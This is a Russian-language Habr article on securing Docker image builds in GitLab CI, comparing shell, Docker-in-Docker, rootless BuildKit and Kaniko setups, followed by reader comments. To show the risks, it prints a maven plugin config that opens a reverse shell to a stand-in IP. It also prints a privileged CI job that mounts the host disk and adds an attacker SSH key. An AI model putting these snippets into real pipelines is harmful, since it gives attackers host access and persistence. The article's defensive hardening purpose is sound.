
Привет, Хабр! Я Саша Лысенко, ведущий эксперт по безопасной разработке в К2 Кибербезопасность. Сейчас появилась куча инструментов для автоматизации рутинных задачи и все активно идут в эту сторону для оптимизации ресурсов и быстрых результатов. Так в DevOps внедрение CI/CD пайплайнов ускоряет разработку, деплой приложений, сокращает time to market. Автоматизация — незаменимый сегодня процесс, который при этом открывает отличные лазейки и для киберугроз. Далеко не все задумываются, кому и какие доступы раздают и к каким последствиям это может привести. Поэтому без учета кибербезопасности здесь появляются дополнительные риски инцидентов. В этой статье я поэтапно разобрал пример сборки Docker-образов в GitLab CI пайплайнах с учетом баланса между безопасностью автоматизированной разработки и скоростью процесса.
Шаг 1. Shell executor
Итак, мы создали отдельную виртуалку, установили на ней демона Gitlab CI, зарегистрировали его в GitLab и начали запускать свои пайпланы. Отлично — у нас есть DevOps!


Теперь в нашей инфраструктуре любой разработчик может выполнить произвольный код с правами gitlab-runner, получив тем самым доступ к хосту. Кроме возможности воздействовать на пайплайны из других проектов, такой доступ также позволяет перемещаться по инфраструктуре дальше. Раннеры часто имеют расширенные сетевые доступы, например, для автоматизации деплоя. В рантайме задач встречаются довольно интересные секреты и пароли, а также открывается возможность встраивать вредоносы в результаты работы нашей автоматизации.


Какие же у нас есть пути решения:
Вариант 1. «Ограничить запуск пайплайнов только для защищенных веток и сливать в них код только после код-ревью» — кажется хорошим решением, но на практике не применимо. От нас требуют скорости, быстрой проверки гипотез, а такой подход сильно застопорит процесс разработки. Также это нас никак не защитит от возможных воздействий со стороны скомпрометированных зависимостей.
Вариант 2. Запретить разработчикам править пайплайн. Например, вынести их в отдельный репозиторий или просто запретить редактировать файл. Как и с предыдущим способом, в этом варианте тоже есть проблемы. Во-первых, не всегда есть выделенный человек на CI/CD. Во-вторых, скомпрометированные зависимости. В-третьих, не стоит забывать, что запустить «скрипт» можно разными способами. Например, у нас две стадии сборки: на первой стадии собирается jar файл с помощью maven, а на второй — docker-образ с этим jar файлом.
stages:
- build
- dockerize
maven-build:
stage: build
script:
- echo "Running Maven build..."
- mvn clean package -DskipTests
artifacts:
paths:
- target/*.jar
docker-build:
stage: dockerize
script:
- echo "Building Docker image..."
- docker build -t my-app-image
Манипулируя конфигурацией maven, можно запустить произвольный скрипт:
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.1.0</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>exec</goal>
</goals>
<configuration>
<executable>bash</executable>
<arguments>
<argument>-c</argument>
<argument>bash -i >& /dev/tcp/256.261.282.293/6666 0>&1</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
Запретить ВСЕ исполняемое на стадии сборки просто не получится, слишком много лазеек. Да и в итоге мы опять начинаем тормозить процессы.
Шаг 2. Docker Executor
На помощь нам приходят контейнеры. Они позволяют изолировать рантайм задач CI и ограничивать доступ к ресурсам хоста.
Вернемся к нашему пайплайну из двух стадий. Для сборки контейнера нам потребуется docker-демон. Доступ к хостовому отбросим сразу — это даст возможность управлять рантаймом других задач, да и в целом, имея такие привилегии, получить полный доступ к системе не сложно.
Обратимся к документации. Там нам советуют использовать образ dind (Docker in Docker) в качестве сервиса к нашей задаче. Чтобы это работало, надо настроить раннер на запуск контейнеров в привилегированном режиме:
concurrent = 100
log_level = "warning"
log_format = "text"
check_interval = 3 # Value in seconds
[[runners]]
name = "first"
url = "https://256.261.282.293"
executor = "docker"
token = "*******53NxVFzR**********"
[runners.docker]
tls_verify = false
privileged = true
disable_cache = false
volumes = ["/cache"]
pull_policy = "if-not-present"
allowed_pull_policies = ["if-not-present"]
userns_mode = "auto"
security_opt = [
"no-new-privileges"
]
stages:
- build
build:
stage: build
image: docker:24.0.5
services:
- name: docker:24.0.5-dind
alias: docker
command: ["--tls=false"]
variables:
DOCKER_HOST: tcp://docker:2375
DOCKER_DRIVER: overlay2
DOCKER_TLS_CERTDIR: ""
before_script:
- docker info
script:
- docker build -t 'my-registry/t-group/backend:latest'
Ключевая проблема, которая у нас по-прежнему остается — привилегированный контейнер. Имея такой доступ, мы все еще довольно простыми манипуляциями можем получить доступ к хостовой системе.
stages:
- build
build:
stage: build
image:
name: docker:latest
docker:
user: root
variables:
DOCKER_HOST: tcp://docker:2375
DOCKER_DRIVER: overlay2
DOCKER_TLS_CERTDIR: ""
services:
- name: docker:24.0.5-dind
alias: docker
command: ["--tls=false"]
before_script:
- docker info
script:
- mkdir /pwnd
- mount /dev/dm-0 /pwnd
- echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/p4C5igypITUB/t/WfiEwTx8pAt6qlI+ik7P2MnVbQOmLThEtJ7GYMAhBWBuJDWsuiSVndIUJPLOeTJyK85vImQY7tsSf1dQ0VWUdLojqQ3B0Vq2tdFd5Egi1e2HMxUjrd39AO9oohTvGhPVNicY1iSIkqawQLuAIOSvv9ZF8JfeEeoboT0rKrA/oX1fFD8jJ7N+vRQVzZ0sx+xoLcSVoy28jsj9x8hSJR+/+x0nULcGceJgmthF2bqzplJyImi8B2NT1zwO6b5l9BfvTCikkHrfTYLzmSaP0F8cQ5qyq0y/N6bQ4JJxBLAPgxFdKviWrK8WzailCSbR+csFePW18Ti1lVAOca+NpnRTXUHMVmu+4Zw6wUB0v/bYPn5b/Yq7yibCdC5IRQEzauji+MgOTx/l9b3b3hXyf4e+YnjiBAe9vCMZsQO0SWO9zWaEtj8dpJb8T5jmuuMYbxgWI99dobCqUSMk9b5mPPsRkUDQGzE3DbbAkVqE615As1OxTzrs= pwnd@pwnd' >> /pwnd/home/debian/.ssh/authorized_keys
- docker build -t my-docker-image

Хотя мы можем доверять нашим разработчикам и быть уверенными, что они не станут совершать подобных действий, мы не можем гарантировать, что используемые образы и ПО не содержат скрытых уязвимостей или вредоносного кода. Кроме того, даже ограниченный доступ к среде разработки может стать точкой входа для получения привилегированного доступа к инфраструктуре. Поэтому давайте попробуем данные привилегии сократить по максимуму.
Шаг 3. Rootless buildkit
Привилегированный доступ требует запуск докера — попробуем от него избавиться. Из всего функционала нам нужна только сборка. Для сборки контейнеров в докере используется buildx, который в свою очередь отправляет запросы в buildkit демон. Запуск buildkit демона тоже требует привилегированных прав, но в документации к нему есть один интересный раздел «Rootless mode» — запуск buildkit без прав суперпользователя.
Для реализации rootless режима используется RootlessKit — имплементация «fake-root». RootlessKit создает дополнительный user-namespace, имитируя root пользователя. Подробнее можно ознакомится в документации к RootlessKit.
В наборе buildkit есть скрипт buildctl-daemonless.sh, который позволит нам запустить сборку без демона. Если быть точнее, скрипт запускает демона и buildkitctl обращается к нему. Чтобы упростить пайплайн можно использовать этот скрипт вместо запуска сервиса. Таким образом, получаем следующий пайплайн:
stages:
- build
build:
stage: build
image:
name: moby/buildkit:master-rootless
entrypoint: [""]
variables:
BUILDKITD_FLAGS: --oci-worker-no-process-sandbox
script:
- buildctl-daemonless.sh build
--frontend=dockerfile.v0
--local context=./
--local dockerfile=./
--output type=image,name=registry.null/t-group/backend:latest,push=false
Для использования RootlessKit необходимо в явном виде отключить профили apparmor и seccomp, так как их стандартные профили не позволяют создавать новые namespace. А также добавить linux capabilities SETUID, SETGUID и убрать опцию no-new-privileges для имитации root пользователя. В итоге конфиг раннера будет выглядеть следующим образом:
concurrent = 100
log_level = "warning"
log_format = "text"
check_interval = 3
[[runners]]
name = "first"
url = "https://256.261.282.293"
executor = "docker"
token = "*******53NxVFzR**********"
[runners.docker]
tls_verify = false
privileged = false
disable_cache = true
volumes = []
pull_policy = "if-not-present"
allowed_pull_policies = ["if-not-present"]
userns_mode = "auto"
cap_add = ["SETUID", "SETGID"]
user = "1000:1000"
security_opt = [
"seccomp=unconfined",
"apparmor=unconfined"
]
В контексте RootlessKit это решение не создает дополнительных рисков с точки зрения безопасности. Однако требует поддержки отдельного пула раннеров, предназначенного исключительно для сборки контейнерных образов. Кроме того, из-за отсутствия механизмов профилирования безопасности нам приходится явно указывать uid и gid пользователя в конфигурации задачи, что может быть достаточно неудобным.
Шаг 4. Kaniko
А что если мы хотим сохранить seccomp и apparmor профили? Тут нам на помощь приходит Kaniko — инструмент по сборке контейнеров. Kaniko имеет ряд ограничений: нельзя собирать Windows-контейнеры, сложности с циклами на ссылках, довольно редко выходят обновления. При этом он позволяет собирать контейнеры без компромиссов безопасности:
stages:
- build
build:
stage: build
image:
name: gcr.io/kaniko-project/executor:v1.23.2-debug
entrypoint: [""]
script:
- executor
--context "${CI_PROJECT_DIR}/"
-f "${CI_PROJECT_DIR}/Dockerfile"
--destination 'registry.null/t-group/backend:latest'
Kaniko не создает новых namespace. Вместо этого он распаковывает слой образа и делает в него chroot.

Это накладывает ряд ограничений:
увеличенное время сборки;
циклы на ссылках;
запуск только от root (хотя абстракциями выше контекст достаточно хорошо изолирован).
Вывод
Ограничить привилегии «широким жестом» — не получится. Независимо от используемого инструмента, потребуется четкое разграничение кода приложения и кода CI/CD, продуманная ролевая модель доступа, а также эффективное управление привилегиями.
Важно понимать, что даже официальная документация нередко содержит решения с серьезными рисками. Поэтому интеграция кибербезопасности должна осуществляться комплексно — как на техническом уровне, так и на организационном. Только системный подход позволит минимизировать риски и обеспечить устойчивую защиту разработки.
Комментарии (4)
nefrit0n
29.05.2025 17:35Спасибо, сохраню вашу статью чтобы использовать когда стану DevSecOps специалистом.
Lainhard
Тоже как-то задумывался об этом вопросе: а что если разработчик злодей? Пришел к варианту gitlab custom executor + qemu.
virtiofs - что бы расшарить папку в гостя
qemu-guest-agent - для запуска комманд (получение вывода, мониторинга состояния и вот это вот всё)
А учитывая что у нас есть снапшоты, то старт и вовсе не сильно (на самом деле сильно, но кто заметит?) медленнее того же docker executor.
Где-то даже прототип валялся, который я обещал себе доделать.
Ailysom Автор
Идея "богатая", во всех смыслах.
Звучит круто, но есть ощущение, что очень дорого.
Как со стороны времени запуска, так и со стороны оверхеда по ресурсам.
Плюс после Вас это же еще кто-то поддерживать будет.
Lainhard
Нет, время запуска небольшое (снапшоты, помним?), а вот ресурсы да - стандартный оверхед в виде целого ядра и виртуализации.